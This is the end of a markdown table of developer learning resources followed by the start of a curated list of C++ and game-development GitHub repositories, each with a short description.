| [Interview This](https://github.com/Twipped/InterviewThis) | An open source list of developer questions to ask prospective employers | [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en_US) |
| [JavaScript Algorithms](https://github.com/trekhleb/javascript-algorithms) | 📝 Algorithms and data structures implemented in JavaScript with explanations and links to further readings | [MIT](https://github.com/trekhleb/javascript-algorithms/blob/master/LICENSE) |
| [Leetcode Patterns](https://github.com/seanprashad/leetcode-patterns) | A curated list of leetcode questions grouped by their common patterns | [GPL-3.0](https://github.com/seanprashad/leetcode-patterns/blob/master/LICENSE.md) |
### Competitive Programming
Repository | Description | License |
|---|---|---|
| [ ACM-ICPC Algorithms](https://github.com/matthewsamuel95/ACM-ICPC-Algorithms) | Algorithms used in Competitive Programming | No License |
| [ Awesome Competitive Programming](https://github.com/lnishan/awesome-competitive-programming) | A curated list of awesome Competitive Programming, Algorithm and Data Structure resources | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [ Competitive Code](https://github.com/Vishruth-S/CompetitiveCode) | A repo for interesting Competitive Coding problems | [MIT](https://github.com/Vishruth-S/CompetitiveCode/blob/main/LICENSE ) |
| [ Competitive Programming Resources](https://github.com/kunal-kushwaha/Competitive-Programming-Resources) | Competitive Programming & System Design Resources. | [MIT](https://github.com/kunal-kushwaha/Competitive-Programming-Resources/blob/master/LICENSE ) |
### CheatSheets
Repository | Description | License |
|---|---|---|
| [Async-JavaScript](https://github.com/frontarm/async-javascript-cheatsheet) | Cheatsheet for promises and async/await. | [MIT](https://github.com/frontarm/async-javascript-cheatsheet/blob/master/LICENSE.md) |
| [C++](https://github.com/mortennobel/cpp-cheatsheet) | Modern C++ Cheatsheet | No License |
| [Data Science](https://github.com/FavioVazquez/ds-cheatsheets) | List of Data Science Cheatsheets to rule the world | [MIT](https://github.com/FavioVazquez/ds-cheatsheets/blob/master/LICENSE ) |
| [Docker](https://github.com/eon01/DockerCheatSheet) | 🐋 Docker Cheat Sheet 🐋 | [MIT](https://github.com/eon01/DockerCheatSheet/blob/master/LICENSE ) |
| [Emoji](https://github.com/ikatyang/emoji-cheat-sheet) | A markdown version emoji cheat sheet | [MIT](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/LICENSE ) |
| [Git and GitHub](https://github.com/tiimgreen/github-cheat-sheet) | A list of cool features of Git and GitHub. | [MIT](https://github.com/tiimgreen/github-cheat-sheet/blob/master/LICENSE ) |
| [Python](https://github.com/gto76/python-cheatsheet) | Comprehensive Python Cheatsheet | No License |
| [Vim](https://github.com/pawelbr/vim-cheatsheet) | Shortcuts that will help you to become an advance VIM user. | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [CSS](https://github.com/AdamMarsden/css-cheat-sheet ) | CSS Cheat Sheet - A reference for CSS goodness | No License |
### Cloud
Repository | Description | License |
|---|---|---|
| [AWS](https://github.com/donnemartin/awesome-aws) | A curated list of awesome Amazon Web Services (AWS) libraries, open source repos, guides, blogs, and other resources. Featuring the Fiery Meter of AWSome. | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
### Courses & Certifications
Repository | Description | License |
|---|---|---|
| [GCP Training](https://github.com/GoogleCloudPlatform/training-data-analyst) | Labs and demos for courses for GCP Training | [Apache-2.0](https://github.com/GoogleCloudPlatform/training-data-analyst/blob/master/LICENSE) |
### Development
Repository | Description | License |
|---|---|---|
| [Beautiful Docs](https://github.com/PharkMillups/beautiful-docs) | Pointers to useful, well-written, and otherwise beautiful documentation. | No License |
| [Design Resources for Developers](https://github.com/bradtraversy/design-resources-for-developers) | Curated list of design and UI resources from stock photos, web templates, CSS frameworks, UI libraries, tools and much more | [MIT](https://github.com/bradtraversy/design-resources-for-developers/blob/master/LICENSE) |
| [DevYouTubeList](https://github.com/ErikCH/DevYouTubeList) | List of Development YouTube Channels | [MIT](https://github.com/ErikCH/DevYouTubeList/blob/master/LICENSE) |
| [Programming Talks](https://github.com/hellerve/programming-talks) | Awesome & interesting talks about programming | No License |
### Frameworks
Repository | Description | License |
|---|---|---|
| [CSS](https://github.com/troxler/awesome-css-frameworks) | List of awesome CSS frameworks | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [Electron](https://github.com/sindresorhus/awesome-electron) | Useful resources for creating apps with Electron | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [.NET](https://github.com/quozd/awesome-dotnet) | A collection of awesome .NET libraries, tools, frameworks and software | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Laravel](https://github.com/chiraggude/awesome-laravel) | A curated list of bookmarks, packages, tutorials, videos and other cool resources from the Laravel ecosystem | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [Vue](https://github.com/vuejs/awesome-vue) | 🎉 A curated list of awesome things related to Vue.js | [MIT](https://github.com/vuejs/awesome-vue/blob/master/LICENSE ) |
### Front-End Development
Repository | Description | License |
|---|---|---|
| [Front End Web Development](https://github.com/RitikPatni/Front-End-Web-Development-Resources) | This repository contains content which will be helpful in your journey as a front-end Web Developer | [MIT](https://github.com/RitikPatni/Front-End-Web-Development-Resources/blob/master/LICENSE) |
| [HTML5](https://github.com/diegocard/awesome-html5) | 📝 A curated list of awesome HTML5 resources | [MIT](https://github.com/diegocard/awesome-html5/blob/master/LICENSE) |
| [React](https://github.com/brillout/awesome-react-components) | Curated List of React Components & Libraries | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Animate CSS](https://github.com/animate-css/animate.css) | 🍿 A cross-browser library of CSS animations. As easy to use as an easy thing | [MIT](https://github.com/animate-css/animate.css/blob/main/LICENSE) |
### Back-End Development
Repository | Description | License |
|---|---|---|
| [Flask - Python framework](https://github.com/mjhea0/awesome-flask#readme) | Flask is a lightweight WSGI web application framework written in Python. | CC0-1.0 License |
| [Docker](https://github.com/veggiemonk/awesome-docker#readme) |🐳 A curated list of Docker resources and projects | Apache-2.0 License |
| [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme)| A curated list of awesome Vagrant resources, plugins, tutorials and other nice things.|
| [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme)| A curated list for awesome kubernetes sources 🚢🎉| BY-NC 4.0|
### Git & GitHub
Repository | Description | License |
|---|---|---|
| [Basic](https://www.freecodecamp.org/news/git-and-github-crash-course/) |Learn all you need to get started with Git and GitHub and get your first pull requests going.||
| [Git And GitHub Guide](https://github.com/antonykidis/GitHub-guide)|A pictorial guide for learning Git and Github ||
|[Git Reference Documentation](https://git-scm.com/docs)| A complete listing of Git's features and commands. The documentation is also available as a free ebook titled Pro Git.||
|[GitHub Learning Lab](https://lab.github.com/)|Get the skills you need without leaving GitHub. GitHub Learning Lab takes you through a series of fun and practical projects, sharing helpful feedback along the way.||
### Programming Languages
Repository | Description | License |
|---|---|---|
| [C](https://github.com/oz123/awesome-c) | A curated list of awesome C frameworks, libraries, resources and other shiny things. Inspired by all the other awesome-... projects out there | [CC-BY-SA-4.0](https://github.com/oz123/awesome-c/blob/master/LICENSE ) |
| [C++](https://github.com/fffaraz/awesome-cpp) | A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff | [MIT](https://github.com/fffaraz/awesome-cpp/blob/master/LICENSE) |
| [Go](https://github.com/avelino/awesome-go) | A curated list of awesome Go frameworks, libraries and software | [MIT](https://github.com/avelino/awesome-go/blob/master/LICENSE) |
| [Java](https://github.com/akullpp/awesome-java) | A curated list of awesome frameworks, libraries and software for the Java programming language | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [JavaScript](https://github.com/sorrycc/awesome-javascript) | 🐢 A collection of awesome browser-side JavaScript libraries, resources and shiny things | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [Lua](https://github.com/LewisJEllis/awesome-lua) | A curated list of quality Lua packages and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [PHP](https://github.com/ziadoz/awesome-php) | A curated list of amazingly awesome PHP libraries, resources and shiny things | [WTFPL](https://github.com/ziadoz/awesome-php/blob/master/LICENSE.md ) |
| [Python](https://github.com/vinta/awesome-python) | A curated list of awesome Python frameworks, libraries, software and resources | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [R](https://github.com/qinwf/awesome-R) | A curated list of awesome R packages, frameworks and software | [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode) |
| [Rust](https://github.com/rust-unofficial/awesome-rust) | A curated list of Rust code and resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Shell](https://github.com/alebcay/awesome-shell) | A curated list of awesome command-line frameworks, toolkits, guides and gizmos | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Swift](https://github.com/matteocrippa/awesome-swift) | A collaborative list of awesome Swift libraries and resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [V](https://github.com/vlang/awesome-v) | A curated list of awesome V frameworks, libraries, software and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
### Projects
Repository | Description | License |
|---|---|---|
| [project ideas](https://github.com/NirantK/awesome-project-ideas) | Curated list of Machine Learning, NLP, Vision, Recommender Systems Project Ideas | [MIT](https://github.com/NirantK/awesome-project-ideas/blob/master/LICENSE) |
| [50projects50days](https://github.com/bradtraversy/50projects50days) | 50+ mini web projects using HTML, CSS & JS | [MIT](https://github.com/bradtraversy/50projects50days#license) |
| [Vanilla Web Projects](https://github.com/bradtraversy/vanillawebprojects) | Mini projects built with HTML5, CSS & JavaScript. No frameworks or libraries | |
| [React Projects](https://github.com/ajayns/react-projects) | A collection of projects built on the React library | [No License] |
### Security
Repository | Description | License |
|---|---|---|
| [Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) | A collection of various awesome lists for hackers, pentesters and security researchers | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Web Security](https://github.com/qazbnm456/awesome-web-security) | A curated list of Web Security materials and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
### System Design
| Repository | Description | License |
| --- | --- | --- |
| [Grokking System Design](https://github.com/Jeevan-kumar-Raj/Grokking-System-Design) | Systems design is the process of defining the architecture, modules, interfaces, and data for a system to satisfy specified requirements. Systems design could be seen as the application of systems theory to product development. | [GPL-3.0](https://github.com/Jeevan-kumar-Raj/Grokking-System-Design/blob/master/LICENSE) |
| [System Design Interview](https://github.com/checkcheckzz/system-design-interview) | System design interview for IT companies | No License |
| [System Design Primer](https://github.com/donnemartin/system-design-primer) | Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards. | [CC-BY-SA-4.0](https://github.com/donnemartin/system-design-primer/blob/master/LICENSE.txt) |
| [System Design Resources](https://github.com/InterviewReady/system-design-resources) | These are the best resources for System Design on the Internet | [GPL-3.0](https://github.com/InterviewReady/system-design-resources/blob/main/LICENSE) |
### Web Development Tools
Repository | Description | License |
|---|---|---|
|[JetBrains Student License](https://www.jetbrains.com/community/education/#students)|Free individual licenses of the award-winning professional developer tools from JetBrains for students and faculty members.
### Unix
Repository | Description | License |
|---|---|---|
| [About Unix](https://kb.iu.edu/d/agat) | Key Unix terms and ideas; website created by Indiana University | |
| [Basic Unix Commands](https://www.maths.ox.ac.uk/system/files/legacy/2356/basic-unix.pdf) | a guide from Oxford University on Unix commands | |
| [linux-tutorials](https://www.linux.org/forums/#linux-tutorials.122) | Linux tutorials at the beginner, intermediate, and advanced levels, from the Linux Foundation. | |
| [EDX: Introduction to Linux](https://www.edx.org/course/introduction-to-linux)| great intro to upper-intermediate course on what the hell is Linux
### Web
Repository | Description | License |
|---|---|---|
| [Proxy List](https://github.com/clarketm/proxy-list) | A list of free, public, forward proxy servers. UPDATED DAILY! | [MIT](https://github.com/clarketm/proxy-list/blob/master/LICENSE) |
| [Streaming](https://github.com/manuzhang/awesome-streaming) | a curated list of awesome streaming frameworks, applications, etc | [CC-BY-SA-4.0](http://creativecommons.org/licenses/by-sa/4.0/) |
| [WPO](https://github.com/davidsonfellipe/awesome-wpo) | 📝 A curated list of Web Performance Optimization. Everyone can contribute here! | [MIT](https://github.com/davidsonfellipe/awesome-wpo/blob/main/LICENSE) |
## License
CC0-1.0 License
|
# Awesome list of C++ GameDev project
A curated list of awesome C++ (mainly) things for Game Development. Inspired by awesome-... stuff.
~2000 projects listed here!
If you want to add projects here, do a pull request or open an issue!
(Maybe some new categories should be added to sort everything a bit better)
(Maybe some repositories could be removed from the list too)
<!-- START -->
## Index
- [C++](#C++)
- [Libraries](#Libraries)
- [Engines](#Engines)
- [Maths](#Maths)
- [Graphics](#Graphics)
- [Multimedia](#Multimedia)
- [Physics](#Physics)
- [Networking](#Networking)
- [AI](#AI)
- [Scripting](#Scripting)
- [GameProgramming](#GameProgramming)
- [Rust](#Rust)
- [Tools](#Tools)
- [Awesome](#Awesome)
- [GameProgrammerPath](#GameProgrammerPath)
- [GameDesign](#GameDesign)
- [Website](#Website)
## C++
[Back to top](#Index)
- [rangeless](https://github.com/ast-al/rangeless) : c++ LINQ -like library of higher-order functions for data manipulation
- [variant](https://github.com/mpark/variant) : C++17 `std::variant` for C++11/14/17
- [tweeny](https://github.com/mobius3/tweeny) : A modern C++ tweening library
- [arrow](https://github.com/apache/arrow) : Apache Arrow is a cross-language development platform for in-memory data. It specifies a standardized language-independent columnar memory format for flat and hierarchical data, organized for effic…
- [EAMain](https://github.com/electronicarts/EAMain) : EAMain provides a multi-platform entry point used for platforms that don't support console output, return codes and command-line arguments.
- [cxx14-graph](https://github.com/asutton/cxx14-graph) : A C++ 14 implementation of graph data structures
- [lex](https://github.com/foonathan/lex) : C++14 fast and efficient tokenizer
- [lager](https://github.com/arximboldi/lager) : C++ library for value-oriented design using the unidirectional data-flow architecture (Redux for C++)
- [cpp-std-fwd](https://github.com/Philip-Trettner/cpp-std-fwd) : forward declarations for C++ std headers
- [hedley](https://github.com/nemequ/hedley) : A C/C++ header to help move #ifdefs out of your code
- [scnlib](https://github.com/eliaskosunen/scnlib) : scanf for modern C++
- [pipet](https://github.com/kenavolic/pipet) : c++ library for building lightweight processing pipeline at compile-time
- [scope_guard](https://github.com/Neargye/scope_guard) : Scope Guard & Defer C++
- [pdbex](https://github.com/wbenny/pdbex) : pdbex is a utility for reconstructing structures and unions from the PDB into compilable C headers
- [optional-lite](https://github.com/martinmoene/optional-lite) : optional lite - A C++17-like optional, a nullable object for C++98, C++11 and later in a single-file header-only library
- [libinsanity](https://github.com/wm4/libinsanity) : libc functions (and related) without bugs mandated by standard C or common OSes
- [kangaru](https://github.com/gracicot/kangaru) : A dependency injection container for C++11, C++14 and later
- [CppCoreGuidelines](https://github.com/isocpp/CppCoreGuidelines) : The C++ Core Guidelines are a set of tried-and-true guidelines, rules, and best practices about coding in C++
- [span-lite](https://github.com/martinmoene/span-lite) : span lite - A C++20-like span for C++98, C++11 and later in a single-file header-only library
- [replxx](https://github.com/AmokHuginnsson/replxx) : A readline and libedit replacement that supports UTF-8, syntax highlighting, hints and Windows and is BSD licensed.
- [stateful_pointer](https://github.com/HDembinski/stateful_pointer) : Use unused bits in your pointer
- [type_erasure_and_dispatch](https://github.com/abwilson/type_erasure_and_dispatch) : Code related to ACCU meet up talk.
- [modern-cpp-features](https://github.com/AnthonyCalandra/modern-cpp-features) : A cheatsheet of modern C++ language and library features.
- [msgpack11](https://github.com/ar90n/msgpack11) : A tiny MessagePack library for C++11 (msgpack.org[C++11])
- [trackable_ptr](https://github.com/tower120/trackable_ptr) : Smart pointer for any movable objects. When trackable object moved/destroyed, trackers updated with new object's pointer.
- [reactive](https://github.com/tower120/reactive) : Simple, non intrusive reactive programming library for C++. (Events + Observable Properties + Reactive Properties)
- [liberasure](https://github.com/atomgalaxy/liberasure) : A no-dependencies C++ extensible type erasure library
- [any](https://github.com/pahowes/any) : A simple variant type for C++
- [FastDynamicCast](https://github.com/tobspr/FastDynamicCast) : Fast dynamic cast in C++ for MSVC, outperforming the regular dynamic cast by up to 25 times
- [0xABAD1DEA](https://github.com/graphitemaster/0xABAD1DEA) : Static global objects with constructors and destructors made useful in C++
- [PubBus](https://github.com/eXpl0it3r/PubBus) : A simple implementation of a MessageBus.
- [cppbestpractices](https://github.com/lefticus/cppbestpractices) : Collaborative Collection of C++ Best Practices
- [emscripten](https://github.com/emscripten-core/emscripten) : Emscripten: An LLVM-to-Web Compiler
- [gcpp](https://github.com/hsutter/gcpp) : Experimental deferred and unordered destruction library for C++
- [patterns](https://github.com/mpark/patterns) : Pattern Matching in C++
- [cmcstl2](https://github.com/CaseyCarter/cmcstl2) : An implementation of C++ Extensions for Ranges
- [invoke.hpp](https://github.com/BlackMATov/invoke.hpp) : std::invoke/std::apply analogs for C++14
- [cppbackport](https://github.com/PollardBanknote/cppbackport) : A backport of C++11/14/17 features to earlier versions
- [libuv](https://github.com/libuv/libuv) : Cross-platform asynchronous I/O
- [uvw](https://github.com/skypjack/uvw) : Header-only, event based, tiny and easy to use libuv wrapper in modern C++
- [opt](https://github.com/mpusz/opt) : Class template designed to express optionality without having to sacrifice memory to store additional bool flag
- [shared_ptr_2.0](https://github.com/mpusz/shared_ptr_2.0) :
- [undo](https://github.com/dacap/undo) : C++ library to implement non-linear undo/redo functionality
- [Configuru](https://github.com/emilk/Configuru) : Experimental config library for C++
- [strong_typedef](https://github.com/anthonywilliams/strong_typedef) : A class template that creates a new type that is distinct from the underlying type, but convertible to and from it
- [dry-comparisons](https://github.com/rollbear/dry-comparisons) : C++17 Utility classes for comparing multiple values in one simple expression
- [determine_c_or_cpp](https://github.com/shafik/determine_c_or_cpp) : Determine programatically C from C++ as well as various versions
- [optional](https://github.com/TartanLlama/optional) : C++11/14/17 std::optional with functional-style extensions and reference support
- [promise-cpp](https://github.com/xhawk18/promise-cpp) : C++ promise/A+ library in Javascript style.
- [mod](https://github.com/raysan5/mod) : MASTERS of DATA, a course about videogames data processing and optimization
- [ring-span-lite](https://github.com/martinmoene/ring-span-lite) : ring-span lite - A C++yy-like ring_span type for C++98, C++11 and later in a single-file header-only library
- [outcome](https://github.com/ned14/outcome) : Provides very lightweight outcome<T> and result<T> (non-Boost edition)
- [semver](https://github.com/vector-of-bool/semver) : A C++ Library for Dealing with Semantic Versioning
- [cpp-cheatsheet](https://github.com/mortennobel/cpp-cheatsheet) : Modern C++ Cheatsheet
- [BareMetalLib](https://github.com/kuanweeloong/BareMetalLib) : A C++ support library for bare-metal programming
- [Mastering-Cpp-Game-Development](https://github.com/PacktPublishing/Mastering-Cpp-Game-Development) : Code files for Mastering C++ Game Development, published by Packt
- [std_function](https://github.com/skarupke/std_function) :
- [ska_sort](https://github.com/skarupke/ska_sort) :
- [strong_type](https://github.com/doom/strong_type) : C++ implementation of strong types
- [type_safe](https://github.com/foonathan/type_safe) : Zero overhead utilities for preventing bugs at compile time
- Bits
- [BigInt](https://github.com/DolaBMOon/BigInt) : BigInt in C++ using bitset
- [huge-long-number](https://github.com/daidodo/huge-long-number) : This is an implementation of arbitrary range of integers written in C++14
- [BigInteger](https://github.com/stevenBorisko/BigInteger) : Be limited not by the size of your register but by the bulk of your RAM.
- [bitmask](https://github.com/oliora/bitmask) : A generic implementation of the BitmaskType C++ concept
- [BigInteger](https://github.com/panks/BigInteger) : An Implementation of BigInteger library in C++
- [bigint](https://github.com/kasparsklavins/bigint) : A lightweight big integer library for c++
- [bitwise](https://github.com/pervognsen/bitwise) : Bitwise is an educational project where we create the software/hardware stack for a computer from scratch.
- [varint](https://github.com/stoklund/varint) : Variable-length integer encodings.
- [mppp](https://github.com/bluescarni/mppp) : Multiprecision for modern C++
- [enum-flags](https://github.com/grisumbras/enum-flags) : Bit flags for C++11 scoped enums
- MultiThreading
- [marl](https://github.com/google/marl) : A hybrid thread / fiber task scheduler written in C++ 11
- [EAThread](https://github.com/electronicarts/EAThread) : EAThread implements a unified cross-platform interface for multithreaded programming.
- [arcana.cpp](https://github.com/microsoft/arcana.cpp) : Arcana.cpp is a collection of helpers and utility code for low overhead, cross platform C++ implementation of task-based asynchrony.
- [relacy](https://github.com/dvyukov/relacy) : Automatically exported from code.google.com/p/relacy
- [partr](https://github.com/kpamnany/partr) : Parallel Tasks Runtime
- [deadlockempire.github.io](https://github.com/deadlockempire/deadlockempire.github.io) : The Deadlock Empire: Slay dragons, learn concurrency!
- [MAN](https://github.com/qnope/MAN) : Man is Thread Pool in C++17
- [cpp-concurrency](https://github.com/revsic/cpp-concurrency) : cpp implementation of golang style concurrency
- [tbb](https://github.com/intel/tbb) : Official Threading Building Blocks (TBB) GitHub repository. For Commercial Intel® TBB distribution, please click here: https://software.intel.com/en-us/tbb
- [bikeshed](https://github.com/DanEngelbrecht/bikeshed) : Lock free hierarchical work scheduler
- [lucy_job_system](https://github.com/nem0/lucy_job_system) : Fiber-based job system with extremely simple API
- [libgo](https://github.com/yyzybb537/libgo) : Go-style concurrency in C++11
- [ThreadPool](https://github.com/Fdhvdu/ThreadPool) : A fastest, exception-safety and pure C++17 thread pool.
- [thread_pool](https://github.com/Tyler-Hardin/thread_pool) : Thread pool using std::* primitives from C++17, with optional priority queue/greenthreading for POSIX.
- [concurrentqueue](https://github.com/cameron314/concurrentqueue) : A fast multi-producer, multi-consumer lock-free concurrent queue for C++11
- [ck](https://github.com/concurrencykit/ck) : Concurrency primitives, safe memory reclamation mechanisms and non-blocking (including lock-free) data structures designed to aid in the research, design and implementation of high performance conc…
- [GTS-GamesTaskScheduler](https://github.com/GameTechDev/GTS-GamesTaskScheduler) : A task scheduling framework designed for the needs of game developers.
- [cpp-taskflow](https://github.com/clin99/cpp-taskflow) : Modern C++ Parallel Task Programming Library
- [cppcoro](https://github.com/lewissbaker/cppcoro) : A library of C++ coroutine abstractions for the coroutines TS
- [cpp-taskflow](https://github.com/cpp-taskflow/cpp-taskflow) : A Modern C++ Parallel Task Programming Library
- [mx](https://github.com/flipcoder/mx) : C++ coroutine await, yield, channels, i/o events (single header + link to boost)
- [px](https://github.com/pplux/px) : Single header C++ Libraries for Thread Scheduling, Rendering, and so on...
- [FiberTaskingLib](https://github.com/RichieSams/FiberTaskingLib) : A library for enabling task-based multi-threading. It allows execution of task graphs with arbitrary dependencies.
- [elle](https://github.com/infinit/elle) : The Elle coroutine-based asynchronous C++ development framework.
- [thread-pool](https://github.com/mtrebi/thread-pool) : Thread pool implementation using c++11 threads
- [thrust](https://github.com/thrust/thrust) : Thrust is a C++ parallel programming library which resembles the C++ Standard Library.
- [enkiTS](https://github.com/dougbinks/enkiTS) : C++ and C multithreading task scheduler
- [enkiTSExamples](https://github.com/dougbinks/enkiTSExamples) : Examples for enkiTS
- [fiber](https://github.com/paladin-t/fiber) : Header only cross platform wrapper of fiber API.
- [px_sched](https://github.com/pplux/px_sched) : Single Header C++11 Task Scheduler
- [termite-jobs](https://github.com/septag/termite-jobs) : Fast, multiplatform fiber based job dispatcher based on Naughty Dogs' GDC2015 talk.
- [jobxx](https://github.com/seanmiddleditch/jobxx) : Lightweight C++ task system
- [thread-pool-cpp](https://github.com/inkooboo/thread-pool-cpp) : High performance C++11 thread pool
- [ThreadPool](https://github.com/nbsdx/ThreadPool) : Lightweight, Generic, Pure C++11 ThreadPool
- [Scheduler](https://github.com/Bosma/Scheduler) : Modern C++ Scheduling Library
- [dwThreadPool](https://github.com/diharaw/dwThreadPool) : A simple, header-only, dependency-free, C++ 11 based ThreadPool library.
- [CTPL](https://github.com/vit-vit/CTPL) : Modern and efficient C++ Thread Pool Library
- [ThreadPool](https://github.com/progschj/ThreadPool) : A simple C++11 Thread Pool implementation
- [Awl](https://github.com/Yalir/Awl) : Awl (Asynchronous Work Library) is a C++ library that aims at making parallel programming as easy as possible.
- [asio](https://github.com/chriskohlhoff/asio) : Asio C++ Library
- [MPMCQueue](https://github.com/rigtorp/MPMCQueue) : A bounded multi-producer multi-consumer lock-free queue written in C++11
- [coroutine](https://github.com/tonbit/coroutine) : C++11 single .h asymmetric coroutine implementation via ucontext / fiber
- [coroutines](https://github.com/mpusz/coroutines) :
- [coro](https://github.com/Quuxplusone/coro) : Single-header library facilities for C++2a Coroutines
- [executors](https://github.com/chriskohlhoff/executors) : C++ library for executors
- [parallel-util](https://github.com/yuki-koyama/parallel-util) : Simple header-only implementation of "parallel_for" and "parallel_map" for C++11
- [parallel-hashmap](https://github.com/greg7mdp/parallel-hashmap) : A family of header-only, very fast and memory-friendly hashmap and btree containers.
- [concurrent-deque](https://github.com/ssbl/concurrent-deque) : Lock-free concurrent work stealing deque in C++
- [ParallelComputingPlayground](https://github.com/mortennobel/ParallelComputingPlayground) : Shows different programming techniques for parallel computing on CPU and GPU
- [awesome-lockfree](https://github.com/rigtorp/awesome-lockfree) : A collection of resources on wait-free and lock-free programming
- Memory
- [dlmalloc](https://github.com/ARMmbed/dlmalloc) : Doug Lea's malloc
- [deluxe68](https://github.com/deplinenoise/deluxe68) : A simple register allocator frontend for 68k assembly
- [KernelReadWriteMemory](https://github.com/Zer0Mem0ry/KernelReadWriteMemory) : Simple code to manipulate the memory of a usermode process from kernel.
- [malloc_geiger](https://github.com/laserallan/malloc_geiger) :
- [mimalloc-bench](https://github.com/daanx/mimalloc-bench) : Suite for benchmarking malloc implementations.
- [allocator_bench](https://github.com/SamSaffron/allocator_bench) : bench of various memory allocators
- [mio](https://github.com/mandreyel/mio) : Cross-platform C++11 header-only library for memory mapped file IO
- [snmalloc](https://github.com/microsoft/snmalloc) : Message passing based allocator
- [mimalloc](https://github.com/microsoft/mimalloc) : mimalloc is a compact general purpose allocator with excellent performance.
- [hardened_malloc](https://github.com/GrapheneOS/hardened_malloc) : Hardened allocator designed for modern systems. It has integration into Android's Bionic libc and can be used externally with musl and glibc as a dynamic library for use on other Linux-based platfo…
- [objectpool](https://github.com/bitshifter/objectpool) : Object pool implementation in C++11
- [rampin](https://github.com/FRex/rampin) : Try to make Windows preload file into RAM by memory mapping it
- [tgc](https://github.com/orangeduck/tgc) : A Tiny Garbage Collector for C
- [Mesh](https://github.com/plasma-umass/Mesh) : A memory allocator that automatically reduces the memory footprint of C/C++ applications.
- [memory-dumper](https://github.com/alexandernst/memory-dumper) : A tool for dumping files from processes memory
- [alloc-test](https://github.com/node-dot-cpp/alloc-test) : Cross-platform benchmarking for memory allocators, aiming to be as close to real world as it is practical
- [memory-allocators](https://github.com/mtrebi/memory-allocators) : Custom memory allocators in C++ to improve the performance of dynamic memory allocation
- [drmemory](https://github.com/DynamoRIO/drmemory) : Memory Debugger for Windows, Linux, Mac, and Android
- [rpmalloc](https://github.com/mjansson/rpmalloc) : Public domain cross platform lock free thread caching 16-byte aligned memory allocator implemented in C
- [jemalloc](https://github.com/jemalloc/jemalloc) :
- [cpp-mempool](https://github.com/hardikp/cpp-mempool) : C++ header-only mempool library
- [incppect](https://github.com/ggerganov/incppect) : Inspect C++ memory in the browser
- [injection](https://github.com/odzhan/injection) : Windows process injection methods
- [tiny](https://github.com/foonathan/tiny) : low-level library for minimizing the size of your types
- [memory](https://github.com/foonathan/memory) : STL compatible C++ memory allocator library using a new RawAllocator concept that is similar to an Allocator but easier to use and write.
- Strings
- [ryu](https://github.com/ulfjack/ryu) : Converts floating point numbers to decimal strings
- [MengRao/str](https://github.com/MengRao/str) : A SIMD optimized fixed-length string class along with an adaptive hash table for fast searching
- [inplace_string](https://github.com/mpusz/inplace_string) : `mp::inplace_string<CharT, MaxSize, Traits>` is a `std::string`-like class template that stores text content in-place inside the class
- [arabtype](https://github.com/eloraiby/arabtype) : a small and simple implementation that transform isolated arabic utf8 character strings into contextual forms.
- [unify](https://github.com/r-lyeh-archived/unify) : A C++11 function to normalize resource identificators
- [unicode](https://github.com/dabbertorres/unicode) : C++ UTF-8 Strings and Utilities
- [ocornut/str](https://github.com/ocornut/str) : Simple C++ string type with an optional local buffer
- [SuperString](https://github.com/btwael/SuperString) : A fast and memory-optimized string library for C++
- [stdstring.h](https://github.com/r-lyeh/stdstring.h) : C string utils library (STB style, header-only).
- [text_view](https://github.com/tahonermann/text_view) : A C++ concepts and range based character encoding and code point enumeration library
- [rapidstring](https://github.com/boyerjohn/rapidstring) : Maybe the fastest string library ever.
- [utfz](https://github.com/IMQS/utfz) : Tiny C++ UTF-8 library - safe, no exceptions
- [utf8.h](https://github.com/sheredom/utf8.h) : single header utf8 string functions for C and C++
- [tiny-utf8](https://github.com/DuffsDevice/tiny-utf8) : Unicode (UTF-8) capable std::string
- [str_view](https://github.com/sawickiap/str_view) : Null-termination-aware string-view class for C++
- [Obfuscate](https://github.com/adamyaxley/Obfuscate) : Guaranteed compile-time string literal obfuscation header-only library for C++14
- [stringencoders](https://github.com/client9/stringencoders) : Fast c-string transformations
- [string-view-lite](https://github.com/martinmoene/string-view-lite) : string_view lite - A C++17-like string_view for C++98, C++11 and later in a single-file header-only library
- [cutf](https://github.com/tapika/cutf) : utf-8 <> wchar_t conversion functions for C and C++
- [Apris](https://github.com/Hapaxia/Apris) : String processor using banks and alternatives
- [string_id](https://github.com/foonathan/string_id) : A small C++ library to handle hashed strings serving as identifiers.
- Parsers
- [inih](https://github.com/benhoyt/inih) : Simple .INI file parser in C, good for embedded systems
- [simple-ini-reader](https://github.com/seb-jones/simple-ini-reader) : Fast, Simple, Public Domain INI Reader written in C
- [rapidjson](https://github.com/Tencent/rapidjson) : A fast JSON parser/generator for C++ with both SAX/DOM style API
- [json.h](https://github.com/sheredom/json.h) : json parser for C and C++
- [ezxml](https://github.com/lxfontes/ezxml) : ezxml - XML parser
